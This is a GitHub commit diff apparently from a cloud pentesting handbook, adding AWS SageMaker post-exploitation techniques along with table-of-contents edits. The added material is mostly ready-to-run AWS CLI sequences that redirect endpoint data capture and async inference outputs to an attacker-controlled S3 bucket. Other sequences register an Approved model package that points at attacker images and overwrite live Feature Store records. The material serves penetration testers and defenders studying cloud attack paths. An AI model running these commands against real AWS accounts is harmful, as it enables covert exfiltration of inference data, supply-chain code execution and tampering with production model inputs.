Skip to content

Commit 1719f8e

Browse files
committed
f
1 parent 9df8a4a commit 1719f8e

File tree

7 files changed

+678
-70
lines changed

7 files changed

+678
-70
lines changed

src/SUMMARY.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -396,7 +396,7 @@
396396
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
397397
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
398398
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
399-
- [AWS - SageMaker Unauthorized Access](pentesting-cloud/aws-security/aws-services/aws-sagemaker-unauthorized-access.md)
399+
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
400400
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
401401
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
402402
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
@@ -428,6 +428,7 @@
428428
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
429429
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
430430
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
431+
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
431432
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
432433
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
433434
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md

Lines changed: 76 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -7,15 +7,15 @@
77
Abuse SageMaker endpoint management to enable full request/response capture to an attacker‑controlled S3 bucket without touching the model or container. Uses a zero/low‑downtime rolling update and only requires endpoint management permissions.
88

99
### Requirements
10-
- IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
11-
- S3: s3:CreateBucket (or use an existing bucket in the same account)
12-
- Optional (if using SSE‑KMS): kms:Encrypt on the chosen CMK
10+
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
11+
- S3: `s3:CreateBucket` (or use an existing bucket in the same account)
12+
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
1313
- Target: An existing InService real‑time endpoint in the same account/region
1414

1515
### Steps
1616
1) Identify an InService endpoint and gather current production variants
1717

18-
```
18+
```bash
1919
REGION=${REGION:-us-east-1}
2020
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
2121
echo "Endpoint=$EP"
@@ -26,7 +26,7 @@ aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "
2626

2727
2) Prepare attacker S3 destination for captures
2828

29-
```
29+
```bash
3030
ACC=$(aws sts get-caller-identity --query Account --output text)
3131
BUCKET=ht-sm-capture-$ACC-$(date +%s)
3232
aws s3 mb s3://$BUCKET --region $REGION
@@ -36,7 +36,7 @@ aws s3 mb s3://$BUCKET --region $REGION
3636

3737
Note: Use explicit content types that satisfy CLI validation.
3838

39-
```
39+
```bash
4040
NEWCFG=${CFG}-dc
4141
cat > /tmp/dc.json << JSON
4242
{
@@ -62,14 +62,14 @@ aws sagemaker create-endpoint-config \
6262

6363
4) Apply the new config with a rolling update (minimal/no downtime)
6464

65-
```
65+
```bash
6666
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
6767
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
6868
```
6969

7070
5) Generate at least one inference call (optional if live traffic exists)
7171

72-
```
72+
```bash
7373
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
7474
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
7575
--content-type application/json --accept application/json \
@@ -78,7 +78,7 @@ aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
7878

7979
6) Validate captures in attacker S3
8080

81-
```
81+
```bash
8282
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
8383
```
8484

@@ -92,14 +92,14 @@ aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
9292
Abuse endpoint management to redirect asynchronous inference outputs to an attacker-controlled S3 bucket by cloning the current EndpointConfig and setting AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.
9393

9494
### Requirements
95-
- IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
95+
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
9696
- S3: Ability to write to the attacker S3 bucket (via the model execution role or a permissive bucket policy)
9797
- Target: An InService endpoint where asynchronous invocations are (or will be) used
9898

9999
### Steps
100100
1) Gather current ProductionVariants from the target endpoint
101101

102-
```
102+
```bash
103103
REGION=${REGION:-us-east-1}
104104
EP=<target-endpoint-name>
105105
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
@@ -108,15 +108,15 @@ aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "
108108

109109
2) Create an attacker bucket (ensure the model execution role can PutObject to it)
110110

111-
```
111+
```bash
112112
ACC=$(aws sts get-caller-identity --query Account --output text)
113113
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
114114
aws s3 mb s3://$BUCKET --region $REGION || true
115115
```
116116

117117
3) Clone EndpointConfig and hijack AsyncInference outputs to the attacker bucket
118118

119-
```
119+
```bash
120120
NEWCFG=${CUR_CFG}-async-exfil
121121
cat > /tmp/async_cfg.json << JSON
122122
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
@@ -128,7 +128,7 @@ aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
128128

129129
4) Trigger an async invocation and verify objects land in attacker S3
130130

131-
```
131+
```bash
132132
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
133133
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
134134
sleep 30
@@ -139,4 +139,65 @@ aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
139139
### Impact
140140
- Redirects asynchronous inference results (and error bodies) to attacker-controlled S3, enabling covert exfiltration of predictions and potentially sensitive pre/post-processed inputs produced by the container, without changing model code or image and with minimal/no downtime.
141141

142-
{{#include ../../../../banners/hacktricks-training.md}}
142+
143+
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
144+
145+
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
146+
147+
### Requirements
148+
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
149+
- Optional (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup`
150+
- S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
151+
- Target: A Model Package Group that downstream automation watches for Approved versions
152+
153+
### Steps
154+
1) Set region and create/find a target Model Package Group
155+
```bash
156+
REGION=${REGION:-us-east-1}
157+
MPG=victim-group-$(date +%s)
158+
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
159+
```
160+
161+
2) Prepare dummy model data in S3
162+
```bash
163+
ACC=$(aws sts get-caller-identity --query Account --output text)
164+
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
165+
aws s3 mb s3://$BUCKET --region $REGION
166+
head -c 1024 </dev/urandom > /tmp/model.tar.gz
167+
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
168+
```
169+
170+
3) Register a malicious (here benign) Approved model package version referencing a public AWS DLC image
171+
```bash
172+
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
173+
cat > /tmp/inf.json << JSON
174+
{
175+
"Containers": [
176+
{
177+
"Image": "$IMG",
178+
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
179+
}
180+
],
181+
"SupportedContentTypes": ["text/csv"],
182+
"SupportedResponseMIMETypes": ["text/csv"]
183+
}
184+
JSON
185+
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
186+
```
187+
188+
4) Verify the new Approved version exists
189+
```bash
190+
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
191+
```
192+
193+
### Impact
194+
- Poison the Model Registry with an Approved version that references attacker-controlled code. Pipelines that auto-deploy Approved models may pull and run the attacker image, yielding code execution under endpoint/training roles.
195+
- With a permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy), this abuse can be triggered cross-account.
196+
197+
## Feature store poisoning
198+
199+
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints.
200+
201+
{{#ref}}
202+
feature-store-poisoning.md
203+
{{/ref}}
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
# SageMaker Feature Store online store poisoning
2+
3+
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints.
4+
5+
## Requirements
6+
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
7+
- Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
8+
9+
## Steps
10+
1) Pick or create a small Online Feature Group for testing
11+
```bash
12+
REGION=${REGION:-us-east-1}
13+
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
14+
if [ -z "$FG" -o "$FG" = "None" ]; then
15+
ACC=$(aws sts get-caller-identity --query Account --output text)
16+
FG=ht-fg-$ACC-$(date +%s)
17+
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
18+
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
19+
echo "Waiting for feature group to be in Created state..."
20+
for i in $(seq 1 40); do
21+
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
22+
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
23+
done
24+
fi
25+
```
26+
27+
2) Insert/overwrite an online record (poison)
28+
```bash
29+
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
30+
cat > /tmp/put.json << JSON
31+
{
32+
"FeatureGroupName": "$FG",
33+
"Record": [
34+
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
35+
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
36+
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
37+
],
38+
"TargetStores": ["OnlineStore"]
39+
}
40+
JSON
41+
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
42+
```
43+
44+
3) Read back the record to confirm manipulation
45+
```bash
46+
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
47+
```
48+
49+
Expected: risk_score returns 0.99 (attacker-set), proving ability to change online features consumed by models.
50+
51+
## Impact
52+
- Real-time integrity attack: manipulate features used by production models without touching endpoints/models.
53+
- Confidentiality risk: read sensitive features via GetRecord from OnlineStore.

0 commit comments

Comments
 (0)